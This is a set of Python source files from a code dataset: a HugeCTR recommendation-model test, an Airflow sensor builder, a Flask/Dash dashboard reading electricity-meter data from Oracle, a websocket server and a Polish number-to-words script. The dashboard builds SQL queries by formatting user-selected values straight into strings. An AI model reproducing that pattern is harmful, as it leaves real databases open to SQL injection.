time_step=1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Softmax,\n bottom_names = [\"reshape_score\"],\n top_names = [\"softmax_att_i\"]))\n#model.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Scale,\n# bottom_names = [\"softmax_att_i\"],\n# top_names = [\"Scale_i\"],\n# axis = 0, factor = 36))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"item_his4\"],\n top_names = [\"reshape_item_his\"],\n leading_dim=36,\n time_step=10))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.MatrixMultiply, #matmul\n bottom_names = [\"softmax_att_i\", \"reshape_item_his\"],\n top_names = [\"MatrixMultiply_ih\"]))\n#model.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.ReduceSum,\n# bottom_names = [\"MatrixMultiply_ih\"],\n# top_names = [\"reduce_ih\"],\n# axis = 1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"MatrixMultiply_ih\"],\n top_names = [\"reshape_reduce_ih\"],\n leading_dim=36))\n#model.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.ReduceSum,\n# bottom_names = [\"reshape_reduce_ih\"],\n# top_names = [\"reduce_ih\"],\n# axis = 1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"item_his5\"],\n top_names = [\"reshape_his\"],\n leading_dim=36,\n time_step =10))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.ReduceMean,\n bottom_names = [\"reshape_his\"],\n top_names = [\"reduce_item_his\"],\n axis = 1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"reduce_item_his\"],\n top_names = [\"reshape_reduce_item_his\"],\n leading_dim=36))\n\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"sparse_embedding_user\"],\n top_names = [\"reshape_user\"],\n leading_dim=18))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Concat,\n bottom_names = [\"reshape_user\", \"reshape_reduce_item_his\", \"reshape_reduce_ih\", \"item2\"],\n top_names = [\"concat_din_i\"]))\n# build_fcn_net\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.InnerProduct,\n bottom_names = [\"concat_din_i\"],\n top_names = [\"fc_din_i1\"],\n num_output=200))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.PReLU_Dice,\n bottom_names = [\"fc_din_i1\"],\n top_names = [\"dice_1\"],\n elu_alpha=0.2, eps=1e-8))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.InnerProduct,\n bottom_names = [\"dice_1\"],\n top_names = [\"fc_din_i2\"],\n num_output=80))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.PReLU_Dice,\n bottom_names = [\"fc_din_i2\"],\n top_names = [\"dice_2\"],\n elu_alpha=0.2, eps=1e-8))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.InnerProduct,\n bottom_names = [\"dice_2\"],\n top_names = [\"fc3\"],\n num_output=1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.BinaryCrossEntropyLoss,\n bottom_names = [\"fc3\", \"label\"],\n top_names = [\"loss\"]))\nmodel.compile()\nmodel.summary()\nmodel.fit(max_iter = 88000, display = 1000, eval_interval = 1000, snapshot = 1000000, snapshot_prefix = \"din\")\n\nmodel.eval()\nmetrics = model.get_eval_metrics()\nprint(\"[HUGECTR][INFO] iter: {}, metrics: {}\".format(iter, metrics[0][1]))\nif metrics[0][1] < 0.75:\n raise RuntimeError(\"Cannot reach the AUC threshold {}\".format(0.75))\n sys.exit(1)\nelse:\n print(\"Successfully reach the AUC threshold {}\".format(metrics[0][1]))","sub_path":"test/pybind_test/din_matmul_fp32_1gpu.py","file_name":"din_matmul_fp32_1gpu.py","file_ext":"py","file_size_in_byte":10435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"462271667","text":"from airflow import LoggingMixin\n\nfrom presidio.operators.adapter.hour_is_ready_according_to_s3_nw_gateway_sensor_operator import \\\n HourIsReadyAccordingToS3NWGatewaySensorOperator\nfrom presidio.utils.airflow.operators.sensor.hour_is_ready_according_to_system_time_sensor_operator import \\\n HourIsReadyAccordingToSystemTimeSensorOperator\nfrom presidio.utils.configuration.config_server_configuration_reader_singleton import \\\n ConfigServerConfigurationReaderSingleton\n\nADAPTER_HOUR_IS_READY_SENSOR_TYPE_CONF_KEY = \"components.adapter.hour_is_ready_sensor.type\"\nADAPTER_HOUR_IS_READY_SENSOR_TYPE_DEFAULT_VALUE = \"HourIsReadyAccordingToSystemTime\"\nADAPTER_HOUR_IS_READY_SENSOR_COMMAND_CONF_KEY = \"components.adapter.hour_is_ready_sensor.command\"\nADAPTER_HOUR_IS_READY_SENSOR_COMMAND_DEFAULT_VALUE = \"waitTillHourIsReady\"\n\n\nclass HourIsReadySensorOperatorBuilder(LoggingMixin):\n\n def __init__(self, schema, timeout, time_to_sleep_in_seconds):\n self.schema = schema\n conf_reader = ConfigServerConfigurationReaderSingleton().config_reader\n self._sensor_type = conf_reader.read(ADAPTER_HOUR_IS_READY_SENSOR_TYPE_CONF_KEY,\n ADAPTER_HOUR_IS_READY_SENSOR_TYPE_DEFAULT_VALUE)\n self._sensor_command = conf_reader.read(ADAPTER_HOUR_IS_READY_SENSOR_COMMAND_CONF_KEY,\n ADAPTER_HOUR_IS_READY_SENSOR_COMMAND_DEFAULT_VALUE)\n self.timeout = timeout\n self.time_to_sleep_in_seconds = time_to_sleep_in_seconds\n\n def build(self, dag):\n task_id = 'adapter_sensor_{}'.format(self.schema)\n if self._sensor_type == \"HourIsReadyAccordingToSystemTime\":\n return HourIsReadyAccordingToSystemTimeSensorOperator(dag=dag,\n task_id=task_id,\n poke_interval=self.time_to_sleep_in_seconds,\n timeout=self.timeout,\n schema_name=self.schema)\n\n elif self._sensor_type == \"HourIsReadyAccordingToS3NWGateway\":\n return HourIsReadyAccordingToS3NWGatewaySensorOperator(dag=dag,\n command=self._sensor_command,\n task_id=task_id,\n schema=self.schema,\n run_clean_command_before_retry=False,\n timeout=self.timeout,\n time_to_sleep_in_seconds=self.time_to_sleep_in_seconds)\n","sub_path":"presidio-core/presidio-workflows/presidio/builders/adapter/hour_is_ready_sensor_operator_builder.py","file_name":"hour_is_ready_sensor_operator_builder.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"141419264","text":"import cx_Oracle\nimport dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_table\nfrom dash.dependencies import Input, Output, State\nimport dash_html_components as html\nfrom datetime import datetime, timedelta\nfrom flask import Flask, g, send_from_directory\nfrom flask_login import LoginManager, current_user, login_required\nfrom flask_migrate import Migrate\nimport json\nimport openpyxl\nimport os\nimport pandas as pd\nimport plotly.graph_objs as go\nimport time\n\nfrom webapp.db import db\nfrom webapp.user.models import User\nfrom webapp.user.views import blueprint as user_blueprint\nfrom webapp.news.views import blueprint as news_blueprint\nfrom webapp.admin.views import blueprint as admin_blueprint\nfrom webapp.config import USER_NAME, PASSWORD, dns_tsn\n\n\napp = Flask(__name__)\napp.config.from_pyfile('config.py')\ndb.init_app(app)\nmigrate = Migrate(app, db)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = 'user.login'\nlogin_manager.login_message = u\"Пожалуйста, авторизуйтесь, чтобы получить доступ к этой странице.\"\n \nwith app.app_context():\n\n app.register_blueprint(admin_blueprint)\n app.register_blueprint(user_blueprint)\n app.register_blueprint(news_blueprint)\n \n dashapp = dash.Dash(__name__, server=app, routes_pathname_prefix='/dash/', external_stylesheets=[dbc.themes.BOOTSTRAP])\n for view_func in dashapp.server.view_functions:\n if view_func.startswith('/dash/'):\n dashapp.server.view_functions[view_func] = login_required(dashapp.server.view_functions[view_func])\n\n dashapp.config.suppress_callback_exceptions = True\n \n\n @app.before_request\n def before_request():\n if current_user.is_authenticated:\n g.user = current_user\n print(g.user.n_ob)\n \n @login_manager.user_loader\n def load_user(user_id):\n return User.query.get(user_id)\n \n \n @dashapp.callback(Output('page-content', 'children'),\n [Input('url', 'pathname')])\n def display_page(pathname):\n print(pathname)\n if pathname == '/dash/':\n return layout1\n elif pathname == '/dash/reports':\n return layout2\n else:\n return abort(404)\n \n \n #DASH_LAYOUT-------------------------------------------------------------------------------------------------------------\n #navbar-----------------------------------------------------------------------------------------------------------------\n navbar = dbc.NavbarSimple(\n children=[\n #dbc.NavItem(dbc.NavLink(\"Link\", href='')),\n dbc.DropdownMenu(\n nav=True,\n in_navbar=True,\n label=\"Меню\",\n children=[\n dbc.DropdownMenuItem(\"Отчеты\", href='/dash/reports'),\n dbc.DropdownMenuItem(\"Графики\", href='/dash/'),\n dbc.DropdownMenuItem(divider=True),\n dbc.DropdownMenuItem(\"Выйти\", href=\"/users/logout\", external_link=True),\n ],\n ),\n ],\n brand=\"Главная\",\n brand_href=\"/\",\n brand_external_link=True,\n sticky=\"top\",\n )\n \n \n #/end_navbar---------------------------------------------------------------------------\n #body------------------------------------------------------------------------------\n body_graph = dbc.Container(\n [ \n dbc.Row(\n [\n dbc.Col(\n [\n html.H4(\"1. Выберите объект:\"), \n dcc.Dropdown(id='choose-object', value='', placeholder='Выберите объект'), \n html.H4(\"2. Выберите месяц:\"),\n html.Div(dcc.DatePickerSingle(id='date-picker-single', date=datetime(2018, 10,10))),\n #dbc.Button(\"Загрузить данные\", id='submit-button', color=\"secondary\"),\n html.Div(dbc.Button(id='download-link', children='Сохранить отчет за месяц'))\n ],\n md=4, \n ),\n dbc.Col(\n [\n #html.H4(\"График за месяц\"),\n html.Div(\n [dcc.Loading(id='loading-1', \n children=\n [html.Div(\n dcc.Graph(id='month-graph', style={'height': '400px'}))], \n type='circle', fullscreen=True \n )\n ]),\n html.Div(\n [dcc.Loading(id='loading-2', \n children=\n [html.Div(id='json-month-data', style={'display': 'none'})], \n type='circle', fullscreen=True \n )\n ]),\n #html.Div(id='json-month-data', style={'display': 'none'}),\n #html.Div(children=f\"'{g.user.n_ob}'\", id='user-object', style={'display': 'none'})\n ]\n ),\n ], style={'height': '401px'}\n ),\n dbc.Row(\n [\n dbc.Col(\n [\n html.H4(\"3. Выберите фидер:\"),\n dbc.RadioItems(id='list-counters', className=\"form-check\"), \n ],\n md=4,\n ),\n dbc.Col(\n [\n #html.Div(html.Pre(id='click-data')),\n html.Div(dcc.Graph(id='day-graph', style={'height': '400px'})) \n ],\n md=8,\n )\n ]\n )\n ],\n className=\"mt-4\",\n )\n\n\n body_report = dbc.Container(\n [\n dbc.Row(\n [\n dbc.Col(html.Div(\n [\n html.Div(html.H4(\"1. Выберите объект:\")), \n html.Div(dcc.Dropdown(id='choose-object', value='', placeholder='Выберите объект')), \n ],\n ), width=7,\n ), \n dbc.Col(\n [\n html.Div(html.H4(\"2. Выберите месяц:\")),\n html.Div(dcc.DatePickerSingle(id='date-picker-single', date=datetime(2018, 10,10))), \n ], \n ),\n ]\n \n ),\n dbc.Row( \n dbc.Col(\n [\n html.H5(\"Последние данные по объекту:\"),\n html.Div(dash_table.DataTable(id='table-last-day', \n columns=[{'name': 'Номер объекта', 'id': 'N_OB'}, \n {'name': 'Счетчик', 'id':'N_SH'}, \n {'name': 'Фидер', 'id': 'TXT'}, \n {'name': 'Последние данные', 'id': 'DT'},\n {'name': 'Дней нет данных', 'id': 'Дней нет данных'}],\n style_table={'maxHeight': '300px', 'overflowY': 'scroll'}\n )),\n ]\n )\n ),\n dbc.Row(\n dbc.Col(\n [\n \n ]\n )\n )\n ],\n className=\"mt-4\",\n )\n\n\n \n layout1 = html.Div([navbar, body_graph]) \n layout2 = html.Div([navbar, body_report]) \n \n \n dashapp.layout = html.Div([dcc.Location(id='url', refresh=False), html.Div(id='page-content')])\n \n #DASH_CALLBACKS----------------------------------------------------------------------------------------------------------\n #получение объекта/списка объектов из БД\n @dashapp.callback(Output('choose-object', 'options'), \n [Input('page-content', 'n_clicks')])\n def get_object(n_clicks):\n if g.user.role == 'admin':\n try:\n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS' NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT DISTINCT\n N_OB, TXT_N_OB_25\n -- COUNT(1) \n FROM\n CNT.V_FID_SH\n WHERE SYB_RNK=5\n ORDER BY N_OB\n \n \"\"\"\n df_number_obj = pd.read_sql(query, con=conn).rename(columns={\"N_OB\": \"value\", \"TXT_N_OB_25\": \"label\"}).to_dict('records')\n return df_number_obj\n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС') \n finally:\n cur.close()\n conn.close()\n else:\n try:\n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS' NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT DISTINCT\n N_OB, TXT_N_OB_25\n -- COUNT(1) \n FROM\n CNT.V_FID_SH\n WHERE SYB_RNK=5\n AND N_OB IN ({})\n ORDER BY N_OB\n \n \"\"\".format(g.user.n_ob)\n df_number_obj = pd.read_sql(query, con=conn).rename(columns={\"N_OB\": \"value\", \"TXT_N_OB_25\": \"label\"}).to_dict('records')\n return df_number_obj\n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС') \n finally:\n cur.close()\n conn.close()\n \n \n \n #выбор опций для radioitems с названиями фидеров выбранного объекта \n \n @dashapp.callback(Output('list-counters', 'options'), \n [Input('choose-object', 'value')])\n def get_list_counters_of_obj(num_obj):\n try: \n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'\n NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT \n N_SH, TXT_FID\n -- COUNT(1) \n FROM\n CNT.V_FID_SH\n WHERE 1=1\n AND N_OB = '{}'\n ORDER BY N_FID\n \"\"\".format(num_obj)\n df_list_counters = pd.read_sql(query, con=conn).rename(columns={\"N_SH\": \"value\", \"TXT_FID\": \"label\"}).to_dict('records') \n return df_list_counters\n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС')\n finally:\n cur.close()\n conn.close()\n \n #создание и скачивание файла отчета\n @dashapp.callback(Output('download-link', 'href'), \n [Input('list-counters', 'value')], \n [State('choose-object', 'value'),\n State('date-picker-single', 'date')])\n def update_href(number_counter, number_object, choosen_month):\n if choosen_month is not None:\n date = f\"LIKE '{choosen_month[:-3]}-%'\"\n try:\n \n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'\n NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT\n DD_MM_YYYY, N_INTER_RAS, VAL, N_SH, RASH_POLN\n -- COUNT(1)\n FROM\n CNT.BUF_V_INT\n WHERE 1=1\n AND DD_MM_YYYY {} \n AND N_INTER_RAS BETWEEN 1 AND 48\n AND N_OB = {}\n AND N_GR_TY = 1\n AND N_SH = '{}'\n \"\"\".format(date, number_object, number_counter)\n df = pd.read_sql(query, con=conn)\n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС')\n except IndexError:\n print('У выбранного фидера нет данных за указанный месяц')\n finally:\n cur.close()\n conn.close()\n\n \n #приведение Dataframe к TimeSeries \n dict_convert_to_halfhour = {'1': '00:00', '2': '00:30', '3': '01:00', '4': '01:30', '5': '02:00', '6': '02:30', \n '7': '03:00', '8': '03:30', '9': '04:00', '10': '04:30', '11': '05:00', '12': '05:30',\n '13': '06:00', '14': '06:30', '15': '07:00', '16': '07:30', '17': '08:00', '18': '08:30',\n '19': '09:00', '20': '09:30', '21': '10:00', '22': '10:30', '23': '11:00', '24': '11:30',\n '25': '12:00', '26': '12:30', '27': '13:00', '28': '13:30', '29': '14:00', '30': '14:30',\n '31': '15:00', '32': '15:30', '33': '16:00', '34': '16:30', '35': '17:00', '36': '17:30',\n '37': '18:00', '38': '18:30', '39': '19:00', '40': '19:30', '41': '20:00', '42': '20:30',\n '43': '21:00', '44': '21:30', '45': '22:00', '46': '22:30', '47': '23:00', '48': '23:30'} \n df['N_INTER_RAS'] = df['N_INTER_RAS'].astype(str).replace(dict_convert_to_halfhour)\n df['DD_MM_YYYY'] = df['DD_MM_YYYY'].astype(str)\n df['date'] = pd.to_datetime(df['DD_MM_YYYY'] + ' ' + df['N_INTER_RAS'])\n del df['DD_MM_YYYY']\n del df['N_INTER_RAS']\n del df['N_SH']\n df_h = df.set_index('date').resample('H')['VAL'].sum()\n DFList = []\n for group in df_h.groupby(df_h.index.day):\n DFList.append(group[1])\n wb = openpyxl.load_workbook('/home/alex/template.xlsx')\n ws = wb.active\n\n for r_idx, row in enumerate(DFList, 10):\n for c_idx, value in enumerate(row, 2):\n ws.cell(row=r_idx, column=c_idx, value=value)\n\n #wb.save('/home/alex/df_out.xlsx')\n \n relative_filename = os.path.join(\n 'downloads',\n '{}-download.xlsx'.format(number_counter)\n )\n absolute_filename = os.path.join(os.getcwd(), relative_filename)\n \n wb.save(absolute_filename)\n return '/{}'.format(relative_filename)\n\n\n @dashapp.server.route('/downloads/')\n def serve_static(path):\n root_dir = os.getcwd()\n return send_from_directory(os.path.join(root_dir, 'downloads'), path)\n\n #создание датасетов DATAFRAME объекта за месяц, день \n @dashapp.callback(Output('json-month-data', 'children'),\n [Input('list-counters', 'value')], \n [State('choose-object', 'value'),\n State('date-picker-single', 'date')])\n def get_month_data(number_counter, number_object, choosen_month):\n if choosen_month is not None:\n date = f\"LIKE '{choosen_month[:-3]}-%'\"\n try:\n \n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'\n NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT\n DD_MM_YYYY, N_INTER_RAS, VAL, N_SH, RASH_POLN\n -- COUNT(1)\n FROM\n CNT.BUF_V_INT\n WHERE 1=1\n AND DD_MM_YYYY {} \n AND N_INTER_RAS BETWEEN 1 AND 48\n AND N_OB = {}\n AND N_GR_TY = 1\n AND N_SH = '{}'\n \"\"\".format(date, number_object, number_counter)\n df = pd.read_sql(query, con=conn)\n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС')\n except IndexError:\n print('У выбранного фидера нет данных за указанный месяц')\n finally:\n cur.close()\n conn.close()\n\n \n #приведение Dataframe к TimeSeries \n dict_convert_to_halfhour = {'1': '00:00', '2': '00:30', '3': '01:00', '4': '01:30', '5': '02:00', '6': '02:30', \n '7': '03:00', '8': '03:30', '9': '04:00', '10': '04:30', '11': '05:00', '12': '05:30',\n '13': '06:00', '14': '06:30', '15': '07:00', '16': '07:30', '17': '08:00', '18': '08:30',\n '19': '09:00', '20': '09:30', '21': '10:00', '22': '10:30', '23': '11:00', '24': '11:30',\n '25': '12:00', '26': '12:30', '27': '13:00', '28': '13:30', '29': '14:00', '30': '14:30',\n '31': '15:00', '32': '15:30', '33': '16:00', '34': '16:30', '35': '17:00', '36': '17:30',\n '37': '18:00', '38': '18:30', '39': '19:00', '40': '19:30', '41': '20:00', '42': '20:30',\n '43': '21:00', '44': '21:30', '45': '22:00', '46': '22:30', '47': '23:00', '48': '23:30'} \n df['N_INTER_RAS'] = df['N_INTER_RAS'].astype(str).replace(dict_convert_to_halfhour)\n df['DD_MM_YYYY'] = df['DD_MM_YYYY'].astype(str)\n df['date'] = pd.to_datetime(df['DD_MM_YYYY'] + ' ' + df['N_INTER_RAS'])\n del df['DD_MM_YYYY']\n del df['N_INTER_RAS']\n df_1 = df.groupby(['N_SH', pd.Grouper(key='date', freq='D')])['VAL'].sum().reset_index()\n df_2 = df.groupby(['N_SH', pd.Grouper(key='date', freq='H')])['VAL'].sum().reset_index()\n df_3 = df.groupby(['N_SH', pd.Grouper(key='date', freq='30min')])['VAL'].sum().reset_index()\n datasets = {\n 'df_1': df_1.to_json(orient='split', date_format='iso'),\n 'df_2': df_2.to_json(orient='split', date_format='iso'),\n 'df_3': df_3.to_json(orient='split', date_format='iso')\n }\n \n return json.dumps(datasets)\n\n #формирования графика потребления за месяц\n @dashapp.callback(Output('month-graph', 'figure'), \n [Input('list-counters', 'value'), \n Input('json-month-data', 'children')])\n def update_graph(number_counter, json_month): \n \n datasets = json.loads(json_month)\n dff = pd.read_json(datasets['df_1'], orient='split', convert_dates='True')\n\n number_counter = int(dff.iloc[1]['N_SH']) \n #график \n figure = go.Figure(\n data=[\n go.Bar(\n x=dff['date'].tolist(),\n y=dff['VAL'].tolist(),\n name='Расход',\n marker=go.bar.Marker(\n color='rgb(55, 83, 109)'\n )\n ),\n ],\n layout=go.Layout(\n yaxis={'type': 'log', 'title': 'Энергия, кВтч', 'autorange': True},\n xaxis={'title': ''},\n title=f\"Расход электроэнергии за месяц по счетчику № {number_counter}\",\n showlegend=True,\n legend=go.layout.Legend(\n x=0,\n y=1.0\n ),\n margin=go.layout.Margin(l=40, r=0, t=40, b=30)\n )\n )\n return figure\n\n #формирования графика потребления за день\n @dashapp.callback(Output('day-graph', 'figure'),\n [Input('month-graph', 'clickData'),\n Input('json-month-data', 'children')])\n def update_daily_graph(clickData, json_month):\n datasets = json.loads(json_month)\n dff = pd.read_json(datasets['df_3'], orient='split', convert_dates='True')\n clickedData = clickData['points'][0]['x']\n begin_day = pd.Timestamp(clickedData)\n end_day = begin_day + timedelta(days=1)\n dff_day = dff[(dff['date'] >= begin_day) & (dff['date'] < end_day)] \n number_counter = int(dff.iloc[1]['N_SH']) \n #график \n figure = go.Figure(\n data=[\n go.Bar(\n x=dff_day['date'].tolist(),\n y=dff_day['VAL'].tolist(),\n name='Расход',\n marker=go.bar.Marker(\n color='green'\n )\n ),\n ],\n layout=go.Layout(\n yaxis={'type': 'log', 'title': 'Энергия, кВтч'},\n xaxis={'title': ''},\n title=f\"Расход электроэнергии за день по счетчику № {number_counter}\",\n showlegend=True,\n legend=go.layout.Legend(\n x=0,\n y=1.0\n ),\n margin=go.layout.Margin(l=40, r=0, t=40, b=30)\n )\n )\n return figure\n\n\n\n #создание таблицы время прихода последних данных--------------------------------------------------------------------------------------\n @dashapp.callback(Output('table-last-day', 'data'),\n [Input('choose-object', 'value')])\n def create_table_last_day(number_object):\n try: \n conn = cx_Oracle.connect(USER_NAME, PASSWORD, dns_tsn)\n cur = conn.cursor()\n cur.execute(\"\"\"\n ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'\n NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'\n \"\"\")\n query = \"\"\"\n SELECT\n N_OB, N_SH, TXT, DT\n -- COUNT(1)\n FROM\n CNT.V_LAST_DAY_1\n WHERE 1=1\n AND N_OB = {}\n \"\"\".format(number_object)\n df_table_dt = pd.read_sql(query, con=conn)\n \n def days(n):\n days = ['день', 'дня', 'дней']\n\n if n % 10 ==1 and n % 100 != 11:\n p = 0\n elif 2 <= n % 10 <= 4 and (n %100 < 10 or n% 100 >=20):\n p = 1\n else:\n p = 2\n return str(n) + ' ' + days[p]\n\n\n def convert_timedelta(dt):\n resolution = ['days', 'hours', 'minutes', 'seconds']\n to_show = {comp: getattr(dt.components, comp) for comp in resolution}\n right_day = days(to_show['days'])\n return \"{} {hours:02d} ч.\".format(right_day, **to_show)\n \n df_table_dt['Дней нет данных'] = (datetime.now() - df_table_dt['DT']) \n df_table_dt['Дней нет данных'] = df_table_dt['Дней нет данных'].apply(convert_timedelta)\n \n \n df_result = df_table_dt.to_dict('records')\n \n except(cx_Oracle.DatabaseError):\n print('УУУУУУУУУУУУУУУУУУУУУУУУУУУУУУПППППППППППППППППППППППППСССССССССССССССССССССС')\n finally:\n cur.close()\n conn.close()\n return df_result\n\n\n #рабочий пример с click-data\n #@dashapp.callback(Output('click-data', 'children'),\n # [Input('month-graph', 'clickData')])\n #def diplay_clickdata(clickData):\n # return json.dumps(clickData, indent=2)\n #/END_DASH_CALLBACKS-----------------------------------------------------------------------------------------------------------------","sub_path":"webapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":26687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"377925324","text":"from websocket_server import WebsocketServer\nfrom detect import Detector\nimport threading\n\n# Called for every client connecting (after handshake)\ndef new_client(client, server):\n\tprint(\"New client connected and was given id %d\" % client['id'])\n\n\n# Called for every client disconnecting\ndef client_left(client, server):\n\tprint(\"Client(%d) disconnected\" % client['id'])\n\n\n# Called when a client sends a message\ndef message_received(client, server, message):\n\tprint(\"Client(%d) said %s\" % client['id'],message)\n\n\nPORT=9001\nserver = WebsocketServer(PORT,host=\"0.0.0.0\")\nserver.set_fn_new_client(new_client)\nserver.set_fn_client_left(client_left)\nserver.set_fn_message_received(message_received)\ndetector = Detector(server)\ndetector.startStream()\nthreading.Thread(target=server.run_forever, daemon = True).start()\ndetector.startDetecting()\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"432564794","text":"measures = [\"\", \"tys.\", \"mln.\", \"mld.\", \"bln.\"]\nones = [\"\", \"jeden\", \"dwa\", \"trzy\", \"cztery\", \"piec\", \"szesc\", \"siedem\", \"osiem\", \"dziewiec\"]\ntens = [\"\", \"dziesiec\", \"dwadziescia\", \"trzydziesci\", \"czterdziesci\", \"piecdziesiat\", \"szescdziesiat\", \"siedemdziesiat\", \"osiemdziesiat\", \"dziewiecdziesiat\"]\nhundreds = [\"\", \"sto\", \"dwiescie\", \"trzysta\", \"czterysta\", \"piecset\", \"szescset\", \"siedemset\", \"osiemset\", \"dziewiecset\"]\nteens = {\n 10: \"dziesiec\",\n 11: \"jedenascie\",\n 12: \"dwanascie\", \n 13: \"trzynascie\", \n 14: \"czternascie\", \n 15: \"pietnascie\",\n 16: \"szesnascie\",\n 17: \"siedemnascie\",\n 18: \"osiemnascie\",\n 19: \"dziewietnascie\"\n}\n\n\n\ndef splitNumber(number):\n\tword_number = \"\"\n\tsplited_number_temp = \"\"\n\tindex_no = 0\n\tsegment_no = -1\n\tsegment = \"\"\n\tfor i in range(len(number)-1, -1, -1):\n\t\tsplited_number_temp = number[i] + splited_number_temp\n\t\tindex_no += 1\n \n\t\tif index_no == 3 or i == 0:\n\t\t\tsegment_no += 1\n\t\t\tsegment = readNumberSegment(int(splited_number_temp))\n\t\t\tif segment != \"\":\n\t\t\t\tword_number = segment + \" \" + measures[segment_no] + \" \" + word_number\n\n\t\t\tindex_no = 0\n\t\t\tsplited_number_temp = \"\"\n\t\n\tprint(word_number.rstrip(\" \"))\n\n\ndef readNumberSegment(number):\n segment = \"\"\n \n while number > 0:\n if number >= 100:\n segment += hundreds[int(number / 100)]\n number = number % 100\n \n elif number >= 20:\n segment += tens[int(number / 10)]\n number = number % 10\n \n elif number >= 10:\n segment += teens[number]\n number -= number\n \n elif number >= 1:\n segment += ones[number]\n number -= number\n \n segment += \" \"\n \n return segment.rstrip(\" \")\n \n\n\nnumbers = int(input())\n\nfor i in range(0, numbers):\n\tnum = input()\n\tsplited_number = splitNumber(num)\n\t\n","sub_path":"liczbaNaSlowov1.py","file_name":"liczbaNaSlowov1.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"276996855","text":"from pathlib import Path\nimport superannotate as sa\nfrom ..common import upload_project\n\n\ndef test_voc_vector_instance(tmpdir):\n project_name = \"voc2sa_vector_instance\"\n\n input_dir = Path(\n \"tests\"\n ) / \"converter_test\" / \"VOC\" / \"input\" / \"fromPascalVOCToSuperAnnotate\" / \"VOC2012\"\n out_dir = Path(tmpdir) / project_name\n sa.import_annotation(\n input_dir, out_dir, \"VOC\", \"\", \"Vector\", \"instance_segmentation\"\n )\n\n description = 'voc vector instance segmentation'\n ptype = 'Vector'\n upload_project(out_dir, project_name, description, ptype)\n\n\ndef test_voc_vector_object(tmpdir):\n project_name = \"voc2sa_vector_object\"\n\n input_dir = Path(\n \"tests\"\n ) / \"converter_test\" 